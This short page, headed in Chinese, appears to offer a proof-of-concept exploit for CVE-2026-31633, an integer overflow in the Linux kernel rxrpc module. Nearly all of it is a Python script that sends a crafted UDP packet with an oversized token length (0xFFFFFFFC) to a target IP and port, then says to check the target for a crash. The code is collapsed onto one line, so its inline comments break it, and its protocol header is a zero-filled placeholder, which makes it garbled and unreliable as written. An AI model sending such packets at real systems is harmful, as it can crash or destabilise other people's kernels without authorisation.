CVE-2026-31633 Linux内核 rxrpc 整数溢出漏洞

import socket import struct # PoC for CVE-2026-31633 # This script sends a specially crafted UDP packet to trigger the integer overflow # in rxgk_verify_response within the Linux Kernel rxrpc module. TARGET_IP = "192.168.1.100" # Replace with target IP TARGET_PORT = 7000 # Replace with target rxrpc port if known def create_exploit_packet(): # Construct a packet with a token_len that causes overflow when rounded up # Example: A value close to UINT_MAX that wraps around when rounded header = b"\x00" * 20 # Simplified rxrpc header placeholder # Malicious token length field (simplified for demonstration) # In a real scenario, this would be a specific large integer malicious_len = struct.pack('>I', 0xFFFFFFFC) payload = header + malicious_len + b"A" * 100 return payload if __name__ == "__main__": print(f"[*] Sending exploit packet to {TARGET_IP}:{TARGET_PORT}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(create_exploit_packet(), (TARGET_IP, TARGET_PORT)) print("[+] Packet sent. Check target for crash or instability.")